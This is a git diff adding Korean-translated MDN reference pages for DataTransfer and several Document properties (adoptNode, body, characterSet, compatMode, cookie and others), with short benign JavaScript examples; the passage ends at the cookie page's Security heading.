+</dl>
+
+<h3 id="Gecko_properties">Gecko properties</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<div class="note"><strong>Note:</strong> All of the properties in this section are Gecko-specific.</div>
+
+<dl>
+ <dt>{{domxref("DataTransfer.mozCursor")}}</dt>
+ <dd>Gives the drag cursor's state. This is primarily used to control the cursor during tab drags.</dd>
+ <dt>{{domxref("DataTransfer.mozItemCount")}} {{readonlyInline}}</dt>
+ <dd>Gives the number of items in the drag operation.</dd>
+ <dt>{{domxref("DataTransfer.mozSourceNode")}} {{readonlyInline}}</dt>
+ <dd>The {{ domxref("Node") }} over which the mouse cursor was located when the button was pressed to initiate the drag operation. This value is <code>null</code> for external drags or if the caller can't access the node.</dd>
+ <dt>{{domxref("DataTransfer.mozUserCancelled")}} {{readonlyInline}}</dt>
+ <dd>This property applies only to the <code>dragend</code> event, and is <code>true</code> if the user canceled the drag operation by pressing escape. It will be <code>false</code> in all other cases, including if the drag failed for any other reason, for instance due to a drop over an invalid location.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<h3 id="Standard_methods">Standard methods</h3>
+
+<dl>
+ <dt>{{domxref("DataTransfer.clearData()")}}</dt>
+ <dd>Remove the data associated with a given type. The type argument is optional. If the type is empty or not specified, the data associated with all types is removed. If data for the specified type does not exist, or the data transfer contains no data, this method will have no effect.</dd>
+ <dt>{{domxref("DataTransfer.getData()")}}</dt>
+ <dd>Retrieves the data for a given type, or an empty string if data for that type does not exist or the data transfer contains no data.</dd>
+ <dt>{{domxref("DataTransfer.setData()")}}</dt>
+ <dd>Set the data for a given type. If data for the type does not exist, it is added at the end, such that the last item in the types list will be the new format. If data for the type already exists, the existing data is replaced in the same position.</dd>
+ <dt>{{domxref("DataTransfer.setDragImage()")}}</dt>
+ <dd>Set the image to be used for dragging if a custom one is desired.</dd>
+</dl>
+
+<h3 id="Gecko_methods">Gecko methods</h3>
+
+<p>{{Non-standard_header()}}</p>
+
+<div class="note"><strong>Note:</strong> All of the methods in this section are Gecko-specific.</div>
+
+<dl>
+ <dt>{{domxref("DataTransfer.addElement()")}}</dt>
+ <dd>Sets the drag source to the given element.</dd>
+ <dt>{{domxref("DataTransfer.mozClearDataAt()")}}</dt>
+ <dd>Removes the data associated with the given format for an item at the specified index. The index is in the range from zero to the number of items minus one.</dd>
+ <dt>{{domxref("DataTransfer.mozGetDataAt()")}}</dt>
+ <dd>Retrieves the data associated with the given format for an item at the specified index, or null if it does not exist. The index should be in the range from zero to the number of items minus one.</dd>
+ <dt>{{domxref("DataTransfer.mozSetDataAt()")}}</dt>
+ <dd>A data transfer may store multiple items, each at a given zero-based index. <code>mozSetDataAt()</code> may only be called with an index argument less than <code>mozItemCount</code> in which case an existing item is modified, or equal to <code>mozItemCount</code> in which case a new item is added, and the <code>mozItemCount</code> is incremented by one.</dd>
+ <dt>{{domxref("DataTransfer.mozTypesAt()")}}</dt>
+ <dd>Holds a list of the format types of the data that is stored for an item at the specified index. If the index is not in the range from 0 to the number of items minus one, an empty string list is returned.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>Every method and property listed in this document has its own reference page and each reference page either directly includes an example of the interface or has a link to an example.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'interaction.html#datatransfer','DataTransfer')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td><code>mozCursor</code>, <code>mozItemCount</code>, <code>mozSourceNode</code>, <code>mozUserCancelled</code>, <code>addElement()</code>, <code>mozClearDataAt()</code>, <code>mozGetDataAt()</code>, <code>mozSetDataAt()</code> and <code>mozTypesAt</code> are Gecko specific.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', 'editing.html#the-datatransfer-interface','DataTransfer')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Not included in W3C HTML5 {{Spec2('HTML5 W3C')}}</td>
+ </tr>
+ <tr>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.DataTransfer")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API">Drag and drop</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Drag_operations">Drag Operations</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Recommended_Drag_Types">Recommended Drag Types</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Dragging_and_Dropping_Multiple_Items">Dragging and Dropping Multiple Items</a></li>
+ <li><a href="https://codepen.io/tech_query/pen/MqGgap">DataTransfer test - Paste or Drag</a></li>
+</ul>
diff --git a/files/ko/web/api/document/adoptnode/index.html b/files/ko/web/api/document/adoptnode/index.html
new file mode 100644
index 0000000000..d2cce901a6
--- /dev/null
+++ b/files/ko/web/api/document/adoptnode/index.html
@@ -0,0 +1,58 @@
+---
+title: Document.adoptNode()
+slug: Web/API/Document/adoptNode
+tags:
+ - API
+ - DOM
+ - DOM 레퍼런스
+ - 레퍼런스
+ - 메소드
+translation_of: Web/API/Document/adoptNode
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<div> </div>
+
+<p>외부 문서로부터 노드를 가져온다. 해당 노드와 그 하위트리는 기존의 문서에서 지워지고 해당 노드의 <code><a href="/en-US/docs/DOM/Node.ownerDocument" title="DOM/Node.ownerDocument">ownerDocument</a></code> 는 현재 문서로 바뀐다. 그리고 그 노드는 현재의 문서에 삽입된다.</p>
+
+<p><strong>Gecko 1.9 (Firefox 3)부터 지원</strong></p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox"><var>node</var> = <em>document</em>.adoptNode(<var>externalNode</var>);
+</pre>
+
+<dl>
+ <dt><code><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span>node</code></dt>
+ <dd>는 현재 문서에 삽입될 노드를 의미. 아직 해당 문서에 삽입되기 전이기 때문에 새로운 노드의 <a href="/en-US/docs/DOM/Node.parentNode"><code>parentNode</code></a>는 <code>null이다.</code><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span></dd>
+ <dt><code>externalNode</code></dt>
+ <dd>는 노드를 가져오기 위한 외부 문서에 있는 노드를 의미.</dd>
+</dl>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<p>{{todo}}</p>
+
+<h2 id="Notes" name="Notes">알아두기</h2>
+
+<p>보통 <code>adoptNode</code> 호출은 다른 방식으로 구현된 곳에서 노드를 불러오기 때문에 실패하는 경우가 많다. 하지만 브라우저로 인한 문제인 경우는 문제가 된다.</p>
+
+<p></p><p>Nodes from external documents should be cloned using <a href="/ko/docs/Web/API/Document/importNode" title="현재 문서가 아닌 외부 문서의 노드를 복사하여 현재 문서에 넣을 수 있도록 해줍니다."><code>document.importNode()</code></a> (or adopted using <a href="/ko/docs/Web/API/Document/adoptNode" title="외부 문서로부터 노드를 가져온다. 해당 노드와 그 하위트리는 기존의 문서에서 지워지고 해당 노드의 ownerDocument 는 현재 문서로 바뀐다. 그리고 그 노드는 현재의 문서에 삽입된다."><code>document.adoptNode()</code></a>) before they
+ can be inserted into the current document. For more on the <a href="/ko/docs/Web/API/Node/ownerDocument" title="Node.ownerDocument 읽기 전용 속성은 이 node 의 최상위 document 객체를 반환합니다."><code>Node.ownerDocument</code></a> issues, see the
+ <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">W3C DOM FAQ</a>.</p>
+
+ <p>Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many
+ sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for
+ improved future compatibility.</p><p></p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Document3-adoptNode">DOM Level 3 Core: Document.adoptNode</a></li>
+</ul>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/document.importNode">document.importNode</a></li>
+</ul>
diff --git a/files/ko/web/api/document/alinkcolor/index.html b/files/ko/web/api/document/alinkcolor/index.html
new file mode 100644
index 0000000000..9cbfe4a0e1
--- /dev/null
+++ b/files/ko/web/api/document/alinkcolor/index.html
@@ -0,0 +1,26 @@
+---
+title: document.alinkColor
+slug: Web/API/Document/alinkColor
+tags:
+ - DOM
+ - Gecko
+ - Gecko DOM Reference
+translation_of: Web/API/Document/alinkColor
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Summary" name="Summary">Summary</h3>
+<p>{{ Deprecated_header() }} document body에 있는 active link의 색깔을 설정하거나 설정된 값을 리턴합니다. 링크는 <code>mousedown</code> 과 <code>mouseup</code> 이벤트가 발생하는 중간에 활성화(active)됩니다.</p>
+<h3 id="Syntax" name="Syntax">Syntax</h3>
+<pre class="eval"><i>color</i> = document.alinkColor
+document.alinkColor =<i>color</i>
+</pre>
+<p><code>color</code>는 색깔의 이름을 포함하는 문자열 (e.g., <code>"blue"</code>, <code>"darkblue"</code>, etc.) 혹은 색깔의 16진수 값으로 설정할 수 있습니다(e.g., <code>#0000FF</code>).</p>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>The default value for this property in Mozilla Firefox is red (<code>#ee0000</code> in hexadecimal).</p>
+<p><code>document.alinkColor</code> is deprecated in <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2 HTML</a>. One alternative is the CSS selector {{ Cssxref(":active") }}.</p>
+<p>Another alternative is <code>document.body.aLink</code>, although this is <a class="external" href="http://www.w3.org/TR/html401/struct/global.html#adef-alink">deprecated in HTML 4.01</a> in favor of the CSS alternative.</p>
+<p><a href="ko/Gecko">Gecko</a> supports both <code>alinkColor</code>/<code>:active</code> and {{ Cssxref(":focus") }}. Internet Explorer 6 and 7 support <code>alinkColor</code>/<code>:active</code> only for <a href="ko/HTML/Element/a"> HTML anchor (&lt;a&gt;) links</a> and the behavior is the same as <code>:focus</code> under Gecko. There is no support for <code>:focus</code> in IE.</p>
+<h3 id="Specification" name="Specification">Specification</h3>
+<p>{{ DOM0() }}</p>
+<p><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/alinkcolor.asp">MSDN: alinkColor property</a></p>
+<p>{{ languages( { "es": "es/DOM/document.alinkColor", "pl": "pl/DOM/document.alinkColor" } ) }}</p>
diff --git a/files/ko/web/api/document/all/index.html b/files/ko/web/api/document/all/index.html
new file mode 100644
index 0000000000..e130540cea
--- /dev/null
+++ b/files/ko/web/api/document/all/index.html
@@ -0,0 +1,49 @@
+---
+title: Document.all
+slug: Web/API/Document/all
+tags:
+ - API
+ - DOM
+ - Document
+ - HTMLAllCollection
+ - Property
+ - Reference
+ - all
+translation_of: Web/API/Document/all
+---
+<div>{{APIRef("DOM")}}{{Draft}}{{SeeCompatTable}}</div>
+
+<p>{{DOMxRef("Document")}} 인터페이스의 read-only <strong><code>all</code></strong> 요소는 document node에 위치한{{DOMxRef("HTMLAllCollection")}} 반환한다. 간단하게 말하면 read-only <strong><code>all</code></strong> 요소는 페이지의 모든 contents를 반환 해준다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <var>htmlAllCollection</var> = document.all;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>{{DOMxRef("HTMLAllCollection")}}는 문서 내에서 모든 node를 담고 있다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#dom-document-all', 'all')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Document.all")}}</p>
diff --git a/files/ko/web/api/document/anchors/index.html b/files/ko/web/api/document/anchors/index.html
new file mode 100644
index 0000000000..3a37425ab9
--- /dev/null
+++ b/files/ko/web/api/document/anchors/index.html
@@ -0,0 +1,31 @@
+---
+title: document.anchors
+slug: Web/API/Document/anchors
+tags:
+ - API
+ - Deprecated
+ - Document
+ - HTML DOM
+ - Property
+ - Reference
+translation_of: Web/API/Document/anchors
+---
+<div>{{APIRef("DOM")}} {{deprecated_header()}}</div>
+
+<p>{{domxref("Document")}} 인터페이스의 <strong><code>anchors</code></strong> 읽기 전용 속성은 문서 내의 모든 앵커 목록을 반환합니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush: html">if ( document.anchors.length &gt;= 5 ) {
+ dump("dump found too many anchors");
+ window.location = "http<span class="nowiki">:</span>//www.google.com";
+}
+</pre>
+
+<h2 id="Notes" name="Notes">알아두기</h2>
+
+<p>이전 버전과의 호환성을 제공하기 위해, 반환된 anchor들의 목록은 <code>name</code> 속성(attribute)으로 생성된 anchors들만 포함하고 <code>id</code> 속성(attribute)으로 생성된 것들은 포함하지 않습니다.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Document.anchors")}}</p>
diff --git a/files/ko/web/api/document/applets/index.html b/files/ko/web/api/document/applets/index.html
new file mode 100644
index 0000000000..25c147849b
--- /dev/null
+++ b/files/ko/web/api/document/applets/index.html
@@ -0,0 +1,30 @@
+---
+title: document.applets
+slug: Web/API/Document/applets
+tags:
+ - DOM
+ - Gecko
+translation_of: Web/API/Document/applets
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Summary" name="Summary">요약</h3>
+
+<p><code>applets</code> document 내의 정렬된 애플릿 목록을 리턴합니다.</p>
+
+<h3 id="Syntax" name="Syntax">문법</h3>
+
+<pre class="eval"><em>nodeList</em> = document.applets
+</pre>
+
+<h3 id="Example" name="Example">예제</h3>
+
+<pre class="eval">// ( 여러분이 원하는 두 번째 애플릿을 알고 있을 때 )
+my_java_app = document.applets[1];
+</pre>
+
+<h3 id="Specification" name="Specification">명세</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-85113862">DOM 레벨 2 HTML: applets</a></p>
+
+<p>{{ languages( { "en": "en/DOM/document.applets", "es": "es/DOM/document.applets", "pl": "pl/DOM/document.applets" } ) }}</p>
diff --git a/files/ko/web/api/document/body/index.html b/files/ko/web/api/document/body/index.html
new file mode 100644
index 0000000000..adc40e872e
--- /dev/null
+++ b/files/ko/web/api/document/body/index.html
@@ -0,0 +1,74 @@
+---
+title: Document.body
+slug: Web/API/Document/body
+tags:
+ - API
+ - DOM
+ - Document
+ - Property
+ - Reference
+translation_of: Web/API/Document/body
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>Document.</strong><strong>body</strong></code> 속성은 현재 문서의 {{htmlelement("body")}} 혹은 {{htmlelement("frameset")}} 노드를 나타냅니다. 일치하는 요소가 존재하지 않으면 <code>null</code>을 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre>const <em>objRef</em> = document.body
+document.body = <em>objRef</em>
+</pre>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush: js">// HTML: &lt;body id="oldBodyElement"&gt;&lt;/body&gt;
+alert(document.body.id); // "oldBodyElement"
+
+let aNewBodyElement = document.createElement("body");
+
+aNewBodyElement.id = "newBodyElement";
+document.body = aNewBodyElement;
+alert(document.body.id); // "newBodyElement"</pre>
+
+<h2 id="Notes" name="Notes">참고</h2>
+
+<p><code>Document.body</code>는 문서의 콘텐츠를 수용하는 요소입니다. <code>&lt;body&gt;</code> 콘텐츠를 가지고 있는 문서는 <code>&lt;body&gt;</code> 요소를 반환하고, 프레임셋을 가지고 있는 문서는 가장 바깥쪽의 <code>&lt;frameset&gt;</code> 요소를 반환합니다.</p>
+
+<p><code>body</code> 속성에 새로운 값을 설정할 수 있긴 하지만, 문서에 새로운 본문을 설정하는건 <code>&lt;body&gt;</code> 요소가 가지고 있던 모든 자식을 제거하는 것과 같습니다.</p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','dom.html#dom-document-body','Document.body')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1','dom.html#dom-document-body','Document.body')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C','dom.html#dom-document-body','Document.body')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성 </h2>
+
+<p>{{Compat("api.Document.body")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Document.head")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/characterset/index.html b/files/ko/web/api/document/characterset/index.html
new file mode 100644
index 0000000000..647c25ab41
--- /dev/null
+++ b/files/ko/web/api/document/characterset/index.html
@@ -0,0 +1,47 @@
+---
+title: Document.characterSet
+slug: Web/API/Document/characterSet
+tags:
+ - API
+ - DOM
+ - Document
+ - Property
+ - Reference
+translation_of: Web/API/Document/characterSet
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p><code><strong>Document.characterSet</strong></code> 읽기 전용 속성은 현재 문서가 렌더링에 사용하는 <a href="/en-US/docs/Glossary/character_encoding">문자 인코딩</a>을 반환합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>Document.charset</code>과 <code>Document.inputEncoding</code> 속성은 <code>Document.characterSet</code>의 이전 별칭입니다. 더 이상 사용지 마세요.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;button onclick="console.log(document.characterSet);"&gt;
+ 콘솔에 인코딩 출력
+&lt;/button&gt;
+&lt;!-- "ISO-8859-1"이나 "UTF-8" 등, 문서의 캐릭터 셋 기록 --&gt;
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Specification</th>
+ <th>Status</th>
+ <th>Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-document-characterset', 'characterSet')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Document.characterSet")}}</p>
diff --git a/files/ko/web/api/document/compatmode/index.html b/files/ko/web/api/document/compatmode/index.html
new file mode 100644
index 0000000000..8a8a33b2fd
--- /dev/null
+++ b/files/ko/web/api/document/compatmode/index.html
@@ -0,0 +1,64 @@
+---
+title: Document.compatMode
+slug: Web/API/Document/compatMode
+tags:
+ - API
+ - DOM
+ - Document
+ - Property
+ - Reference
+translation_of: Web/API/Document/compatMode
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p><code><strong>Document.compatMode</strong></code> 속성은 문서 렌더링을 <a href="/ko/docs/Web/HTML/Quirks_Mode_and_Standards_Mode">호환 모드</a>에서 진행했는지, 표준 모드에서 진행했는지 나타냅니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>mode</em> = <em>document</em>.compatMode
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>다음 중 하나.</p>
+
+<ul>
+ <li>문서가 호환 모드이면 <code>"BackCompat"</code></li>
+ <li>문서가 호환 모드가 아니거나("표준") 제한적 호환("거의 표준") 모드이면 <code>"CSS1Compat"</code></li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 위의 모든 모드는 표준화됐으므로, 오래 전에 사용하던 "표준"과 "거의 표준"이라는 이름은 말이 되지 않아 이제 사용하지 않습니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">if (document.compatMode == "BackCompat") {
+ // in Quirks mode
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '/#dom-document-compatmode','compatMode')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document.compatMode")}}</p>
diff --git a/files/ko/web/api/document/cookie/index.html b/files/ko/web/api/document/cookie/index.html
new file mode 100644
index 0000000000..d5cfd2f0d3
--- /dev/null
+++ b/files/ko/web/api/document/cookie/index.html
@@ -0,0 +1,243 @@
+---
+title: Document.cookie
+slug: Web/API/Document/cookie
+translation_of: Web/API/Document/cookie
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary"> {{domxref("Document")}} <code>cookie</code> 는 document와 연관된 <a href="/en-US/docs/Web/HTTP/Cookies">cookies</a> 를 읽고 쓸 수 있게 해준다. 쿠키의 실제값에 대한 getter 와 setter로 작동한다.</span></p>
+
+<h2 id="문법">문법</h2>
+
+<h3 id="Read_all_cookies_accessible_from_this_location">Read all cookies accessible from this location</h3>
+
+<pre class="syntaxbox notranslate"><var>allCookies</var> = <var>document</var>.cookie;</pre>
+
+<p>위 코드에서 <code><var>allCookies</var></code> 세미콜론으로 구분되는 모든 쿠키 리스트의 문자열이다. (다른 말로 <code><var>key</var>=<var>value</var></code>). Note that each <var>key</var> and <var>value</var> may be surrounded by whitespace (space and tab characters): in fact, {{RFC(6265)}} mandates a single space after each semicolon, but some user agents may not abide by this.</p>
+
+<h3 id="Write_a_new_cookie">Write a new cookie</h3>
+
+<pre class="syntaxbox notranslate" id="new-cookie_syntax"><var>document</var>.cookie = <var>newCookie</var>;</pre>
+
+<p>In the code above, <code>newCookie</code> is a string of form <code><var>key</var>=<var>value</var></code>. Note that you can only set/update a single cookie at a time using this method. Consider also that:</p>
+
+<ul>
+ <li>Any of the following cookie attribute values can optionally follow the key-value pair, specifying the cookie to set/update, and preceded by a semi-colon separator:
+ <ul>
+ <li id="new-cookie_path">
+ <div><code>;path=<var>path</var></code> (e.g., '<code>/</code>', '<code>/mydir</code>') If not specified, defaults to the current path of the current document location.</div>
+
+ <div class="note"><strong>Note:</strong> Prior to {{Gecko("6.0")}}, paths with quotes were treated as if the quotes were part of the string, instead of as if they were delimiters surrounding the actual path string. This has been fixed.</div>
+ </li>
+ <li id="new-cookie_domain"><code>;domain=<var>domain</var></code> (e.g., '<code>example.com</code>' or '<code>subdomain.example.com</code>'). If not specified, this defaults to the host portion of the current document location. Contrary to earlier specifications, leading dots in domain names are ignored, but browsers may decline to set the cookie containing such dots. If a domain is specified, subdomains are always included.
+ <div class="note"><strong>Note:</strong> The domain <em>must</em> match the domain of the JavaScript origin. Setting cookies to foreign domains will be silently ignored.</div>
+ </li>
+ <li id="new-cookie_max-age"><code>;max-age=<var>max-age-in-seconds</var></code> (e.g., <code>60*60*24*365</code> or 31536000 for a year)</li>
+ <li id="new-cookie_expires"><code>;expires=<var>date-in-GMTString-format</var></code> If neither <code>expires</code> nor <code>max-age</code> specified it will expire at the end of session.
+ <div class="warning">
+ <p>When user privacy is a concern, it's important that any web app implementation invalidate cookie data after a certain timeout instead of relying on the browser to do it. Many browsers let users specify that cookies should never expire, which is not necessarily safe.</p>
+ </div>
+
+ <ul>
+ <li>See {{jsxref("Date.toUTCString()")}} for help formatting this value.</li>
+ </ul>
+ </li>
+ <li id="new-cookie_secure"><code>;secure</code> Cookie to only be transmitted over secure protocol as https. Before Chrome 52, this flag could appear with cookies from http domains.</li>
+ <li id="new-cookie_samesite"><code>;samesite</code> <a href="/en-US/docs/Web/HTTP/Cookies#SameSite_cookies">SameSite</a> prevents the browser from sending this cookie along with cross-site requests. Possible values are <code>lax</code>, <code>strict</code> or <code>none</code>.
+ <ul>
+ <li>The <code>lax</code> value value will send the cookie for all same-site requests and top-level navigation GET requests. This is sufficient for user tracking, but it will prevent many CSRF attacks. This is the default value in modern browsers.</li>
+ <li>The <code>strict</code> value will prevent the cookie from being sent by the browser to the target site in all cross-site browsing contexts, even when following a regular link.</li>
+ <li>The <code>none</code> value explicitly states no restrictions will be applied. The cookie will be sent in all requests—both cross-site and same-site.</li>
+ </ul>
+ </li>
+ </ul>
+ </li>
+ <li>The cookie value string can use {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}} to ensure that the string does not contain any commas, semicolons, or whitespace (which are disallowed in cookie values).</li>
+ <li>Some user agent implementations support the following cookie prefixes:
+ <ul>
+ <li><code>__Secure-</code> Signals to the browser that it should only include the cookie in requests transmitted over a secure channel.</li>
+ <li><code>__Host-</code> Signals to the browser that in addition to the restriction to only use the cookie from a secure origin, the scope of the cookie is limited to a path attribute passed down by the server. If the server omits the path attribute the "directory" of the request URI is used. It also signals that the domain attribute must not be present, which prevents the cookie from being sent to other domains. For Chrome the path attribute must always be the origin.</li>
+ </ul>
+
+ <div class="note">The dash is considered part of the prefix.</div>
+
+ <div class="note">These flags are only settable with the <code>secure</code> attribute.</div>
+ </li>
+</ul>
+
+<div class="note"><strong>Note:</strong> As you can see from the code above, <code>document.cookie</code> is an <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Description">accessor property</a> with native <em>setter</em> and <em>getter</em> functions, and consequently is <em>not</em> a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Description">data property</a> with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.</div>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Example_1_Simple_usage">Example #1: Simple usage</h3>
+
+<pre class="brush: js notranslate">document.cookie = "name=oeschger";
+document.cookie = "favorite_food=tripe";
+function alertCookie() {
+ alert(document.cookie);
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;button onclick="alertCookie()"&gt;Show cookies&lt;/button&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Example_1_Simple_usage', 200, 36)}}</p>
+
+<h3 id="Example_2_Get_a_sample_cookie_named_test2">Example #2: Get a sample cookie named <em>test2</em></h3>
+
+<pre class="brush: js notranslate">document.cookie = "test1=Hello";
+document.cookie = "test2=World";
+
+const cookieValue = document.cookie
+ .split('; ')
+ .find(row =&gt; row.startsWith('test2'))
+ .split('=')[1];
+
+function alertCookieValue() {
+ alert(cookieValue);
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;button onclick="alertCookieValue()"&gt;Show cookie value&lt;/button&gt;</pre>
+
+<p>{{EmbedLiveSample('Example_2_Get_a_sample_cookie_named_test2', 200, 36)}}</p>
+
+<h3 id="Example_3_Do_something_only_once">Example #3: Do something only once</h3>
+
+<p>In order to use the following code, please replace all occurrences of the word <code>doSomethingOnlyOnce</code> (the name of the cookie) with a custom name.</p>
+
+<pre class="brush: js notranslate">function doOnce() {
+ if (!document.cookie.split('; ').find(row =&gt; row.startsWith('doSomethingOnlyOnce'))) {
+ alert("Do something here!");
+ document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
+ }
+}</pre>
+
+<pre class="brush: html notranslate">&lt;button onclick="doOnce()"&gt;Only do something once&lt;/button&gt;</pre>
+
+<p>{{EmbedLiveSample('Example_3_Do_something_only_once', 200, 36)}}</p>
+
+<h3 id="Example_4_Reset_the_previous_cookie">Example #4: Reset the previous cookie</h3>
+
+<pre class="brush: js notranslate">function resetOnce() {
+ document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
+}</pre>
+
+<pre class="brush: html notranslate">&lt;button onclick="resetOnce()"&gt;Reset only once cookie&lt;/button&gt;</pre>
+
+<p>{{EmbedLiveSample('Example_4_Reset_the_previous_cookie', 200, 36)}}</p>
+
+<h3 id="Example_5_Check_a_cookie_existence">Example #5: Check a cookie existence</h3>
+
+<pre class="brush: js notranslate">//ES5
+
+if (document.cookie.split(';').some(function(item) {
+ return item.trim().indexOf('reader=') == 0
+})) {
+ console.log('The cookie "reader" exists (ES5)')
+}
+
+//ES2016
+
+if (document.cookie.split(';').some((item) =&gt; item.trim().startsWith('reader='))) {
+ console.log('The cookie "reader" exists (ES6)')
+}
+</pre>
+
+<h3 id="Example_6_Check_that_a_cookie_has_a_specific_value">Example #6: Check that a cookie has a specific value</h3>
+
+<pre class="brush: js notranslate">//ES5
+
+if (document.cookie.split(';').some(function(item) {
+ return item.indexOf('reader=1') &gt;= 0
+})) {
+ console.log('The cookie "reader" has "1" for value')
+}
+
+//ES2016
+
+if (document.cookie.split(';').some((item) =&gt; item.includes('reader=1'))) {
+ console.log('The cookie "reader" has "1" for value')
+}
+</pre>
+
+<h2 id="Security">Security</h2>
+
